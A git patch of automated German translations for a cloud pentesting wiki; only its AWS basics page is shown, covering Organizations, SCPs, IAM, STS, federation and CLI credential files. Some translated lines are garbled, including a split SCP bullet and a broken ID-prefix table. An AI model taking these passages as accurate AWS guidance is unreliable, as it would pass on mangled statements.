From b6c49a5b472dc1b738592cf6bd8ca385d0383db3 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 10 Feb 2025 23:50:18 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA --- .../aws-basic-information/README.md | 84 +++++---- .../aws-cloudtrail-enum.md | 40 ++-- .../aws-cloudwatch-enum.md | 52 +++--- .../az-cloud-shell-persistence.md | 12 +- .../az-blob-storage-post-exploitation.md | 8 +- .../az-cosmosDB-post-exploitation.md | 77 ++------ .../az-file-share-post-exploitation.md | 6 +- .../az-logic-apps-post-exploitation.md | 63 ++----- .../az-mysql-post-exploitation.md | 63 ++----- .../az-postgresql-post-exploitation.md | 53 ++---- .../az-sql-post-exploitation.md | 20 +- .../az-cosmosDB-privesc.md | 29 +-- .../az-functions-app-privesc.md | 73 ++++---- .../az-key-vault-privesc.md | 2 +- .../az-logic-apps-privesc.md | 20 +- .../az-mysql-privesc.md | 29 +-- .../az-postgresql-privesc.md | 30 +-- .../az-servicebus-privesc.md | 4 +- .../az-privilege-escalation/az-sql-privesc.md | 16 +- .../az-storage-privesc.md | 32 ++-- .../azure-security/az-services/az-azuread.md | 173 ++++++++---------- .../az-services/az-cloud-shell.md | 14 +- .../azure-security/az-services/az-cosmosDB.md | 84 +++------ .../az-services/az-file-shares.md | 22 +-- .../az-services/az-function-apps.md | 39 ++-- .../az-services/az-logic-apps.md | 58 +++--- .../azure-security/az-services/az-mysql.md | 50 ++--- .../az-services/az-postgresql.md | 51 ++---- .../az-services/az-queue-enum.md | 18 +- .../az-services/az-servicebus-enum.md | 26 ++- .../azure-security/az-services/vms/README.md | 32 ++-- .../az-services/vms/az-azure-network.md | 37 ++-- .../kubernetes-securitycontext-s.md | 41 +++-- 33 files changed, 533 insertions(+), 825 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md index c4d965e51..c8043a45e 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md @@ -20,7 +20,7 @@ Daher gibt es **zwei Arten von Konten in einer Organisation** (wir sprechen von - Andere bestehende Konten zur Organisation einladen - Konten aus der Organisation entfernen - Einladungen verwalten -- Richtlinien auf Entitäten (Roots, OUs oder Konten) innerhalb der Organisation anwenden +- Richtlinien auf Entitäten (Wurzeln, OUs oder Konten) innerhalb der Organisation anwenden - Die Integration mit unterstützten AWS-Diensten aktivieren, um die Funktionalität über alle Konten in der Organisation bereitzustellen. - Es ist möglich, sich als Root-Benutzer mit der E-Mail-Adresse und dem Passwort anzumelden, die zum Erstellen dieses Root-Kontos/Organisation verwendet wurden. @@ -31,16 +31,16 @@ Das Verwaltungskonto hat die **Verantwortlichkeiten eines Zahlungskontos** und i ``` aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com ``` -### **Organisations-Einheiten** +### **Organisationseinheiten** -Konten können in **Organisations-Einheiten (OU)** gruppiert werden. Auf diese Weise können Sie **Richtlinien** für die Organisations-Einheit erstellen, die auf **alle untergeordneten Konten angewendet werden**. Beachten Sie, dass eine OU andere OUs als Kinder haben kann. +Accounts können in **Organisationseinheiten (OU)** gruppiert werden. Auf diese Weise können Sie **Richtlinien** für die Organisationseinheit erstellen, die auf **alle untergeordneten Konten angewendet werden**. Beachten Sie, dass eine OU andere OUs als Kinder haben kann. ```bash # You can get the root id from aws organizations list-roots aws organizations create-organizational-unit --parent-id r-lalala --name TestOU ``` ### Service Control Policy (SCP) -Eine **Service Control Policy (SCP)** ist eine Richtlinie, die die Dienste und Aktionen angibt, die Benutzer und Rollen in den Konten, auf die die SCP Einfluss hat, verwenden können. SCPs sind **ähnlich wie IAM** Berechtigungsrichtlinien, mit dem Unterschied, dass sie **keine Berechtigungen gewähren**. Stattdessen geben SCPs die **maximalen Berechtigungen** für eine Organisation, eine organisatorische Einheit (OU) oder ein Konto an. Wenn Sie eine SCP an den Stamm Ihrer Organisation oder an eine OU anhängen, **beschränkt die SCP die Berechtigungen für Entitäten in Mitgliedskonten**. +Eine **Service Control Policy (SCP)** ist eine Richtlinie, die die Dienste und Aktionen angibt, die Benutzer und Rollen in den Konten, auf die die SCP Einfluss hat, verwenden können. SCPs sind **ähnlich wie IAM** Berechtigungsrichtlinien, mit dem Unterschied, dass sie **keine Berechtigungen gewähren**. Stattdessen geben SCPs die **maximalen Berechtigungen** für eine Organisation, eine organisatorische Einheit (OU) oder ein Konto an. Wenn Sie eine SCP an den Root Ihrer Organisation oder an eine OU anhängen, **beschränkt die SCP die Berechtigungen für Entitäten in Mitgliedskonten**. Dies ist der EINZIGE Weg, wie **sogar der Root-Benutzer daran gehindert werden kann**, etwas zu tun. Zum Beispiel könnte es verwendet werden, um Benutzer daran zu hindern, CloudTrail zu deaktivieren oder Backups zu löschen.\ Der einzige Weg, dies zu umgehen, besteht darin, auch das **Master-Konto** zu kompromittieren, das die SCPs konfiguriert (das Master-Konto kann nicht blockiert werden). @@ -50,17 +50,19 @@ Der einzige Weg, dies zu umgehen, besteht darin, auch das **Master-Konto** zu ko SCP-Beispiele: -- Den Root-Account vollständig verweigern +- Verweigern Sie das Root-Konto vollständig - Nur bestimmte Regionen zulassen - Nur genehmigte Dienste zulassen -- Verweigern, dass GuardDuty, CloudTrail und S3 Public Block Access deaktiviert werden +- Verweigern Sie GuardDuty, CloudTrail und S3 Public Block Access von -- Verweigern, dass Sicherheits-/Vorfallreaktionsrollen gelöscht oder +deaktiviert werden + +- Verweigern Sie, dass Sicherheits-/Vorfallreaktionsrollen gelöscht oder modifiziert werden. -- Verweigern, dass Backups gelöscht werden. -- Verweigern, IAM-Benutzer und Zugriffsschlüssel zu erstellen +- Verweigern Sie, dass Backups gelöscht werden. +- Verweigern Sie das Erstellen von IAM-Benutzern und Zugriffsschlüsseln Finden Sie **JSON-Beispiele** in [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html) @@ -90,7 +92,7 @@ IAM kann durch seine Fähigkeit definiert werden, Authentifizierungs-, Autorisie ### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) -Wenn Sie zum ersten Mal ein Amazon Web Services (AWS) Konto erstellen, beginnen Sie mit einer einzelnen Anmeldeidentität, die **vollständigen Zugriff auf alle** AWS-Dienste und -Ressourcen im Konto hat. Dies ist der _**Root-Benutzer**_ des AWS-Kontos und wird durch die Anmeldung mit der **E-Mail-Adresse und dem Passwort, die Sie zur Erstellung des Kontos verwendet haben**, aufgerufen. +Wenn Sie zum ersten Mal ein Amazon Web Services (AWS) Konto erstellen, beginnen Sie mit einer einzigen Anmeldedaten, die **vollständigen Zugriff auf alle** AWS-Dienste und -Ressourcen im Konto hat. Dies ist der AWS-Konto _**Root-Benutzer**_ und wird durch die Anmeldung mit der **E-Mail-Adresse und dem Passwort, die Sie zur Erstellung des Kontos verwendet haben**, aufgerufen. Beachten Sie, dass ein neuer **Admin-Benutzer** **weniger Berechtigungen als der Root-Benutzer** hat. @@ -100,17 +102,17 @@ Aus sicherheitstechnischer Sicht wird empfohlen, andere Benutzer zu erstellen un Ein IAM _Benutzer_ ist eine Entität, die Sie in AWS erstellen, um **die Person oder Anwendung** zu **repräsentieren, die damit interagiert**. Ein Benutzer in AWS besteht aus einem Namen und Anmeldeinformationen (Passwort und bis zu zwei Zugriffsschlüssel). -Wenn Sie einen IAM-Benutzer erstellen, gewähren Sie ihm **Berechtigungen**, indem Sie ihn zu einer **Mitgliedschaft in einer Benutzergruppe** machen, die geeignete Berechtigungspolicen angehängt hat (empfohlen), oder indem Sie **Richtlinien direkt** an den Benutzer anhängen. +Wenn Sie einen IAM-Benutzer erstellen, gewähren Sie ihm **Berechtigungen**, indem Sie ihn zu einer **Benutzergruppe** machen, die geeignete Berechtigungspolicen angehängt hat (empfohlen), oder indem Sie **direkt Richtlinien** an den Benutzer anhängen. -Benutzer können **MFA aktivieren, um sich** über die Konsole anzumelden. API-Token von MFA-aktivierten Benutzern sind nicht durch MFA geschützt. Wenn Sie den **Zugriff auf die API-Schlüssel eines Benutzers mithilfe von MFA einschränken** möchten, müssen Sie in der Richtlinie angeben, dass für die Ausführung bestimmter Aktionen MFA vorhanden sein muss (Beispiel [**hier**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)). +Benutzer können **MFA aktivieren, um sich** über die Konsole anzumelden. API-Token von MFA-aktivierten Benutzern sind nicht durch MFA geschützt. Wenn Sie den **Zugriff der API-Schlüssel eines Benutzers mit MFA einschränken** möchten, müssen Sie in der Richtlinie angeben, dass für die Ausführung bestimmter Aktionen MFA vorhanden sein muss (Beispiel [**hier**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)). #### CLI -- **Access Key ID**: 20 zufällige Großbuchstaben-Zahlenkombinationen wie AKHDNAPO86BSHKDIRYT +- **Access Key ID**: 20 zufällige Großbuchstaben-Ziffern-Kombinationen wie AKHDNAPO86BSHKDIRYT - **Secret access key ID**: 40 zufällige Groß- und Kleinbuchstaben: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Es ist nicht möglich, verlorene Secret Access Key IDs wiederherzustellen). Wann immer Sie den **Access Key** **ändern** müssen, sollten Sie diesen Prozess befolgen:\ -&#xNAN;_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_ +_Einen neuen Zugriffsschlüssel erstellen -> Den neuen Schlüssel auf das System/Anwendung anwenden -> Den ursprünglichen als inaktiv markieren -> Testen und Überprüfen, dass der neue Zugriffsschlüssel funktioniert -> Alten Zugriffsschlüssel löschen_ ### MFA - Multi Factor Authentication @@ -141,7 +143,7 @@ Hier sind einige wichtige Merkmale von Benutzergruppen: - Eine Benutzer **gruppe** kann **viele Benutzer** enthalten, und ein **Benutzer** kann **zu mehreren Gruppen** gehören. - **Benutzergruppen können nicht geschachtelt** werden; sie können nur Benutzer, nicht andere Benutzergruppen enthalten. - Es gibt **keine Standardbenutzergruppe, die automatisch alle Benutzer im AWS-Konto** umfasst. Wenn Sie eine solche Benutzergruppe haben möchten, müssen Sie sie erstellen und jeden neuen Benutzer ihr zuweisen. -- Die Anzahl und Größe der IAM-Ressourcen in einem AWS-Konto, wie die Anzahl der Gruppen und die Anzahl der Gruppen, denen ein Benutzer angehören kann, sind begrenzt. Weitere Informationen finden Sie unter [IAM und AWS STS-Quoten](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html). +- Die Anzahl und Größe der IAM-Ressourcen in einem AWS-Konto, wie die Anzahl der Gruppen und die Anzahl der Gruppen, denen ein Benutzer angehören kann, sind begrenzt. Weitere Informationen finden Sie unter [IAM- und AWS STS-Quoten](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html). ### [IAM-Rollen](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) @@ -151,11 +153,11 @@ Eine IAM-Rolle besteht aus **zwei Arten von Richtlinien**: einer **Vertrauensric #### AWS Security Token Service (STS) -AWS Security Token Service (STS) ist ein Webdienst, der die **Ausstellung von temporären, eingeschränkten Anmeldeinformationen** erleichtert. Er ist speziell auf folgende Aspekte zugeschnitten: +AWS Security Token Service (STS) ist ein Webdienst, der die **Ausstellung von temporären, eingeschränkten Anmeldeinformationen** erleichtert. Er ist speziell auf folgende Zwecke zugeschnitten: ### [Temporäre Anmeldeinformationen in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) -**Temporäre Anmeldeinformationen werden hauptsächlich mit IAM-Rollen verwendet**, es gibt jedoch auch andere Verwendungen. Sie können temporäre Anmeldeinformationen anfordern, die über einen eingeschränkteren Satz von Berechtigungen verfügen als Ihr standardmäßiger IAM-Benutzer. Dies **verhindert**, dass Sie **versehentlich Aufgaben ausführen, die nicht erlaubt sind** durch die eingeschränkten Anmeldeinformationen. Ein Vorteil temporärer Anmeldeinformationen ist, dass sie automatisch nach einer festgelegten Zeit ablaufen. Sie haben die Kontrolle über die Dauer, für die die Anmeldeinformationen gültig sind. +**Temporäre Anmeldeinformationen werden hauptsächlich mit IAM-Rollen verwendet**, es gibt jedoch auch andere Verwendungszwecke. Sie können temporäre Anmeldeinformationen anfordern, die über einen eingeschränkteren Satz von Berechtigungen verfügen als Ihr standardmäßiger IAM-Benutzer. Dies **verhindert**, dass Sie **versehentlich Aufgaben ausführen, die nicht erlaubt sind** durch die eingeschränkten Anmeldeinformationen. Ein Vorteil von temporären Anmeldeinformationen ist, dass sie automatisch nach einer festgelegten Zeit ablaufen. Sie haben die Kontrolle über die Dauer, für die die Anmeldeinformationen gültig sind. ### Richtlinien @@ -164,7 +166,7 @@ AWS Security Token Service (STS) ist ein Webdienst, der die **Ausstellung von te Werden verwendet, um Berechtigungen zuzuweisen. Es gibt 2 Arten: - AWS verwaltete Richtlinien (vorkonfiguriert von AWS) -- Kundenverwaltete Richtlinien: Von Ihnen konfiguriert. Sie können Richtlinien basierend auf AWS verwalteten Richtlinien erstellen (eine davon ändern und Ihre eigene erstellen), den Richtlinien-Generator verwenden (eine GUI-Ansicht, die Ihnen hilft, Berechtigungen zu gewähren und zu verweigern) oder Ihre eigenen schreiben. +- Kundenverwaltete Richtlinien: Von Ihnen konfiguriert. Sie können Richtlinien basierend auf AWS verwalteten Richtlinien erstellen (eine davon ändern und Ihre eigene erstellen), den Richtliniengenerator verwenden (eine GUI-Ansicht, die Ihnen hilft, Berechtigungen zu gewähren und zu verweigern) oder Ihre eigenen schreiben. Standardmäßig ist der Zugriff **verweigert**, der Zugriff wird gewährt, wenn eine explizite Rolle angegeben wurde.\ Wenn **einzelne "Deny" existiert, wird sie das "Allow" überschreiben**, mit Ausnahme von Anfragen, die die Root-Sicherheitsanmeldeinformationen des AWS-Kontos verwenden (die standardmäßig erlaubt sind). @@ -196,7 +198,7 @@ Die [spezifischen Felder, die für Bedingungen pro Dienst verwendet werden könn #### Inline-Richtlinien Diese Art von Richtlinien wird **direkt einem Benutzer, einer Gruppe oder einer Rolle zugewiesen**. Daher erscheinen sie nicht in der Richtlinienliste, da sie von niemand anderem verwendet werden können.\ -Inline-Richtlinien sind nützlich, wenn Sie eine **strikte Eins-zu-eins-Beziehung zwischen einer Richtlinie und der Identität** aufrechterhalten möchten, auf die sie angewendet wird. Zum Beispiel möchten Sie sicherstellen, dass die Berechtigungen in einer Richtlinie nicht versehentlich einer anderen Identität zugewiesen werden, als der, für die sie bestimmt sind. Wenn Sie eine Inline-Richtlinie verwenden, können die Berechtigungen in der Richtlinie nicht versehentlich der falschen Identität zugeordnet werden. Darüber hinaus werden beim Löschen dieser Identität über die AWS Management Console auch die in der Identität eingebetteten Richtlinien gelöscht. Das liegt daran, dass sie Teil der Hauptentität sind. +Inline-Richtlinien sind nützlich, wenn Sie eine **strikte Eins-zu-eins-Beziehung zwischen einer Richtlinie und der Identität, auf die sie angewendet wird, aufrechterhalten möchten**. Zum Beispiel möchten Sie sicherstellen, dass die Berechtigungen in einer Richtlinie nicht versehentlich einer anderen Identität zugewiesen werden, als der, für die sie bestimmt sind. Wenn Sie eine Inline-Richtlinie verwenden, können die Berechtigungen in der Richtlinie nicht versehentlich der falschen Identität zugeordnet werden. Darüber hinaus werden die in der Identität eingebetteten Richtlinien gelöscht, wenn Sie die AWS Management Console verwenden, um diese Identität zu löschen. Das liegt daran, dass sie Teil der Hauptentität sind. #### Ressourcen-Bucket-Richtlinien @@ -206,7 +208,7 @@ Wenn eine Hauptentität keine ausdrückliche Ablehnung auf ihnen hat und eine Re ### IAM-Grenzen -IAM-Grenzen können verwendet werden, um **die Berechtigungen, auf die ein Benutzer oder eine Rolle Zugriff haben sollte, einzuschränken**. Auf diese Weise wird die Operation **fehlschlagen**, selbst wenn ein anderes Set von Berechtigungen dem Benutzer durch eine **andere Richtlinie** gewährt wird, wenn er versucht, sie zu verwenden. +IAM-Grenzen können verwendet werden, um **die Berechtigungen, auf die ein Benutzer oder eine Rolle Zugriff haben sollte, einzuschränken**. Auf diese Weise wird die Operation **fehlschlagen**, wenn dem Benutzer durch eine **andere Richtlinie** ein anderes Berechtigungsset gewährt wird und er versucht, diese zu verwenden. Eine Grenze ist einfach eine Richtlinie, die einem Benutzer angehängt ist und **das maximale Niveau der Berechtigungen angibt, die der Benutzer oder die Rolle haben kann**. Selbst wenn der Benutzer Administratorzugriff hat, wenn die Grenze angibt, dass er nur S· Buckets lesen kann, ist das das Maximum, was er tun kann. @@ -214,9 +216,9 @@ Eine Grenze ist einfach eine Richtlinie, die einem Benutzer angehängt ist und * ### Sitzungsrichtlinien -Eine Sitzungsrichtlinie ist eine **Richtlinie, die gesetzt wird, wenn eine Rolle angenommen wird**. Dies wird wie eine **IAM-Grenze für diese Sitzung** sein: Das bedeutet, dass die Sitzungsrichtlinie keine Berechtigungen gewährt, sondern **sie auf die in der Richtlinie angegebenen beschränkt** (wobei die maximalen Berechtigungen die sind, die die Rolle hat). +Eine Sitzungsrichtlinie ist eine **Richtlinie, die gesetzt wird, wenn eine Rolle angenommen wird**. Dies wird wie eine **IAM-Grenze für diese Sitzung** sein: Das bedeutet, dass die Sitzungsrichtlinie keine Berechtigungen gewährt, sondern **sie auf die in der Richtlinie angegebenen einschränkt** (wobei die maximalen Berechtigungen die sind, die die Rolle hat). -Dies ist nützlich für **Sicherheitsmaßnahmen**: Wenn ein Administrator eine sehr privilegierte Rolle annehmen möchte, könnte er die Berechtigungen auf nur die in der Sitzungsrichtlinie angegebenen beschränken, falls die Sitzung kompromittiert wird. +Dies ist nützlich für **Sicherheitsmaßnahmen**: Wenn ein Administrator eine sehr privilegierte Rolle annehmen möchte, könnte er die Berechtigungen auf nur die in der Sitzungsrichtlinie angegebenen einschränken, falls die Sitzung kompromittiert wird. ```bash aws sts assume-role \ --role-arn \ @@ -226,16 +228,16 @@ aws sts assume-role \ ``` Beachten Sie, dass **AWS standardmäßig Sitzungsrichtlinien zu Sitzungen hinzufügen kann**, die aus anderen Gründen generiert werden. Zum Beispiel wird in [unauthentifizierten Cognito-angenommenen Rollen](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) standardmäßig (unter Verwendung verbesserter Authentifizierung) von AWS **Sitzungsanmeldeinformationen mit einer Sitzungsrichtlinie** generiert, die die Dienste einschränkt, auf die die Sitzung zugreifen kann [**auf die folgende Liste**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). -Wenn Sie also irgendwann den Fehler "... weil keine Sitzungsrichtlinie den ... erlaubt" erhalten und die Rolle Zugriff auf die Aktion hat, liegt es daran, dass **eine Sitzungsrichtlinie dies verhindert**. +Wenn Sie also irgendwann den Fehler "... weil keine Sitzungsrichtlinie dies erlaubt ..." erhalten und die Rolle Zugriff auf die Aktion hat, liegt es daran, dass **eine Sitzungsrichtlinie dies verhindert**. ### Identitätsföderation -Die Identitätsföderation **ermöglicht Benutzern von Identitätsanbietern, die extern** zu AWS sind, den sicheren Zugriff auf AWS-Ressourcen, ohne AWS-Benutzerdaten von einem gültigen IAM-Benutzerkonto angeben zu müssen.\ +Die Identitätsföderation **ermöglicht Benutzern von Identitätsanbietern, die extern** zu AWS sind, sicher auf AWS-Ressourcen zuzugreifen, ohne AWS-Benutzeranmeldeinformationen eines gültigen IAM-Benutzerkontos angeben zu müssen.\ Ein Beispiel für einen Identitätsanbieter kann Ihr eigenes Unternehmens-**Microsoft Active Directory** (über **SAML**) oder **OpenID**-Dienste (wie **Google**) sein. Der föderierte Zugriff ermöglicht es dann den Benutzern innerhalb davon, auf AWS zuzugreifen. -Um dieses Vertrauen zu konfigurieren, wird ein **IAM-Identitätsanbieter (SAML oder OAuth)** generiert, der die **andere Plattform** **vertraut**. Dann wird mindestens eine **IAM-Rolle (vertrauend) dem Identitätsanbieter zugewiesen**. Wenn ein Benutzer von der vertrauenswürdigen Plattform auf AWS zugreift, greift er als die genannte Rolle zu. +Um dieses Vertrauen zu konfigurieren, wird ein **IAM-Identitätsanbieter (SAML oder OAuth)** erstellt, der die **andere Plattform** **vertraut**. Dann wird mindestens eine **IAM-Rolle (vertrauend) dem Identitätsanbieter zugewiesen**. Wenn ein Benutzer von der vertrauenswürdigen Plattform auf AWS zugreift, greift er als die genannte Rolle zu. -Sie möchten jedoch normalerweise eine **andere Rolle je nach Gruppe des Benutzers** auf der Drittanbieterplattform vergeben. Dann können mehrere **IAM-Rollen** dem Drittanbieter-Identitätsanbieter vertrauen, und die Drittanbieterplattform wird diejenige sein, die es Benutzern ermöglicht, eine Rolle oder die andere zu übernehmen. +Sie möchten jedoch normalerweise eine **andere Rolle je nach Gruppe des Benutzers** auf der Drittanbieterplattform vergeben. Dann können mehrere **IAM-Rollen** dem Drittanbieter-Identitätsanbieter vertrauen, und die Drittanbieterplattform wird diejenige sein, die es den Benutzern ermöglicht, eine Rolle oder die andere zu übernehmen.
@@ -245,7 +247,7 @@ AWS IAM Identity Center (Nachfolger von AWS Single Sign-On) erweitert die Mögli Die Anmeldedomäne wird etwas sein wie `.awsapps.com`. -Um Benutzer anzumelden, können 3 Identitätsquellen verwendet werden: +Um Benutzer anzumelden, gibt es 3 Identitätsquellen, die verwendet werden können: - Identity Center-Verzeichnis: Reguläre AWS-Benutzer - Active Directory: Unterstützt verschiedene Connectoren @@ -253,19 +255,19 @@ Um Benutzer anzumelden, können 3 Identitätsquellen verwendet werden:
-Im einfachsten Fall des Identity Center-Verzeichnisses wird das **Identity Center eine Liste von Benutzern und Gruppen haben** und in der Lage sein, **Richtlinien** für sie zu **irgendeinem der Konten** der Organisation zuzuweisen. +Im einfachsten Fall des Identity Center-Verzeichnisses wird das **Identity Center eine Liste von Benutzern und Gruppen** haben und in der Lage sein, **Richtlinien** für sie zu **irgendeinem der Konten** der Organisation zuzuweisen. Um einem Benutzer/einer Gruppe im Identity Center Zugriff auf ein Konto zu gewähren, wird ein **SAML-Identitätsanbieter, der dem Identity Center vertraut, erstellt**, und eine **Rolle, die dem Identitätsanbieter mit den angegebenen Richtlinien vertraut, wird im Zielkonto erstellt**. #### AwsSSOInlinePolicy -Es ist möglich, **Berechtigungen über Inline-Richtlinien für Rollen zu vergeben, die über IAM Identity Center erstellt wurden**. Die in den Konten erstellten Rollen, die **Inline-Richtlinien im AWS Identity Center** erhalten, haben diese Berechtigungen in einer Inline-Richtlinie namens **`AwsSSOInlinePolicy`**. +Es ist möglich, **Berechtigungen über Inline-Richtlinien für Rollen zu gewähren, die über IAM Identity Center erstellt wurden**. Die in den Konten erstellten Rollen, die **Inline-Richtlinien im AWS Identity Center** erhalten, haben diese Berechtigungen in einer Inline-Richtlinie namens **`AwsSSOInlinePolicy`**. -Daher bedeutet es nicht, dass, selbst wenn Sie 2 Rollen mit einer Inline-Richtlinie namens **`AwsSSOInlinePolicy`** sehen, sie **die gleichen Berechtigungen haben**. +Daher bedeutet es nicht, dass, selbst wenn Sie 2 Rollen mit einer Inline-Richtlinie namens **`AwsSSOInlinePolicy`** sehen, dass sie **die gleichen Berechtigungen haben**. ### Cross Account Trusts und Rollen -**Ein Benutzer** (vertrauend) kann eine Cross-Account-Rolle mit einigen Richtlinien erstellen und dann **einem anderen Benutzer** (vertrauenswürdig) den **Zugriff auf sein Konto** gewähren, jedoch nur **mit dem Zugriff, der in den neuen Rollrichtlinien angegeben ist**. Um dies zu erstellen, erstellen Sie einfach eine neue Rolle und wählen Sie Cross-Account-Rolle aus. Rollen für den Cross-Account-Zugriff bieten zwei Optionen. Bereitstellung des Zugriffs zwischen AWS-Konten, die Sie besitzen, und Bereitstellung des Zugriffs zwischen einem Konto, das Sie besitzen, und einem Drittanbieter-AWS-Konto.\ +**Ein Benutzer** (vertrauend) kann eine Cross-Account-Rolle mit einigen Richtlinien erstellen und dann **einem anderen Benutzer** (vertrauenswürdig) erlauben, **auf sein Konto zuzugreifen**, jedoch nur **mit dem Zugriff, der in den neuen Rollrichtlinien angegeben ist**. Um dies zu erstellen, erstellen Sie einfach eine neue Rolle und wählen Sie Cross-Account-Rolle aus. Rollen für den Cross-Account-Zugriff bieten zwei Optionen. Bereitstellung des Zugriffs zwischen AWS-Konten, die Sie besitzen, und Bereitstellung des Zugriffs zwischen einem Konto, das Sie besitzen, und einem Drittanbieter-AWS-Konto.\ Es wird empfohlen, **den Benutzer, der vertraut ist, anzugeben und nichts Allgemeines zu verwenden**, da sonst andere authentifizierte Benutzer wie föderierte Benutzer dieses Vertrauen ebenfalls missbrauchen können. ### AWS Simple AD @@ -286,25 +288,27 @@ Die App verwendet die AssumeRoleWithWebIdentity, um temporäre Anmeldeinformatio ### Weitere IAM-Optionen -- Sie können **eine Passwortrichtlinieneinstellung** wie Mindestlänge und Passwortanforderungen festlegen. -- Sie können **einen "Credential Report"** mit Informationen über aktuelle Anmeldeinformationen (wie Benutzererstellungszeit, ob das Passwort aktiviert ist...) herunterladen. Sie können einen Berechtigungsbericht so oft wie einmal alle **vier Stunden** generieren. +- Sie können **eine Passwortrichtlinieneinstellung** mit Optionen wie Mindestlänge und Passwortanforderungen festlegen. +- Sie können **einen "Credential Report" herunterladen**, der Informationen über aktuelle Anmeldeinformationen enthält (wie Erstellungszeit des Benutzers, ob das Passwort aktiviert ist...). Sie können einen Berechtigungsbericht so oft wie einmal alle **vier Stunden** generieren. -AWS Identity and Access Management (IAM) bietet **fein abgestufte Zugriffskontrolle** über alle AWS-Dienste. Mit IAM können Sie festlegen, **wer auf welche Dienste und Ressourcen zugreifen kann** und unter welchen Bedingungen. Mit IAM-Richtlinien verwalten Sie Berechtigungen für Ihre Mitarbeiter und Systeme, um **die Berechtigungen mit minimalen Rechten** sicherzustellen. +AWS Identity and Access Management (IAM) bietet **fein abgestufte Zugriffskontrolle** über alle AWS-Dienste. Mit IAM können Sie festlegen, **wer auf welche Dienste und Ressourcen zugreifen kann** und unter welchen Bedingungen. Mit IAM-Richtlinien verwalten Sie Berechtigungen für Ihre Mitarbeiter und Systeme, um **die geringsten Privilegien** sicherzustellen. ### IAM-ID-Präfixe Auf [**dieser Seite**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) finden Sie die **IAM-ID-Präfixe** von Schlüsseln, abhängig von ihrer Natur: -| ABIA | [AWS STS-Dienstträger-Token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | +| Identifier Code | Beschreibung | | ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| ACCA | Kontextabhängige Anmeldeinformationen | +| ABIA | [AWS STS-Dienstträger-Token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | + +| ACCA | Kontextbezogene Anmeldeinformationen | | AGPA | Benutzergruppe | | AIDA | IAM-Benutzer | | AIPA | Amazon EC2-Instanzprofil | | AKIA | Zugriffsschlüssel | | ANPA | Verwaltete Richtlinie | | ANVA | Version in einer verwalteten Richtlinie | -| APKA | Öffentliches Schlüssel | +| APKA | Öffentlicher Schlüssel | | AROA | Rolle | | ASCA | Zertifikat | | ASIA | [Temporäre (AWS STS) Zugriffsschlüssel-IDs](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) verwenden dieses Präfix, sind jedoch nur in Kombination mit dem geheimen Zugriffsschlüssel und dem Sitzungstoken eindeutig. | @@ -327,7 +331,7 @@ Die folgenden Berechtigungen gewähren verschiedenen Lesezugriff auf Metadaten: ### CLI-Authentifizierung Damit ein regulärer Benutzer sich über die CLI bei AWS authentifizieren kann, müssen **lokale Anmeldeinformationen** vorhanden sein. Standardmäßig können Sie diese **manuell** in `~/.aws/credentials` konfigurieren oder **ausführen** `aws configure`.\ -In dieser Datei können Sie mehr als ein Profil haben. Wenn **kein Profil** angegeben ist, wird das in dieser Datei genannte **`[default]`** verwendet.\ +In dieser Datei können Sie mehr als ein Profil haben. Wenn **kein Profil** angegeben ist, wird das in dieser Datei als **`[default]`** bezeichnete verwendet.\ Beispiel einer Anmeldeinformationsdatei mit mehr als 1 Profil: ``` [default] @@ -339,9 +343,9 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7 region = eu-west-2 ``` -Wenn Sie auf **verschiedene AWS-Konten** zugreifen müssen und Ihr Profil Zugriff auf **die Annahme einer Rolle in diesen Konten** erhalten hat, müssen Sie nicht jedes Mal manuell STS aufrufen (`aws sts assume-role --role-arn --role-session-name sessname`) und die Anmeldeinformationen konfigurieren. +Wenn Sie auf **verschiedene AWS-Konten** zugreifen müssen und Ihr Profil Zugriff auf **das Übernehmen einer Rolle in diesen Konten** erhalten hat, müssen Sie nicht jedes Mal manuell STS aufrufen (`aws sts assume-role --role-arn --role-session-name sessname`) und die Anmeldeinformationen konfigurieren. -Sie können die Datei `~/.aws/config` verwenden, um [**anzugeben, welche Rollen angenommen werden sollen**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), und dann den Parameter `--profile` wie gewohnt verwenden (die `assume-role` wird für den Benutzer transparent durchgeführt).\ +Sie können die Datei `~/.aws/config` verwenden, um [ **anzugeben, welche Rollen übernommen werden sollen**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), und dann den Parameter `--profile` wie gewohnt verwenden (das `assume-role` wird für den Benutzer transparent durchgeführt).\ Ein Beispiel für eine Konfigurationsdatei: ``` [profile acc2] diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md 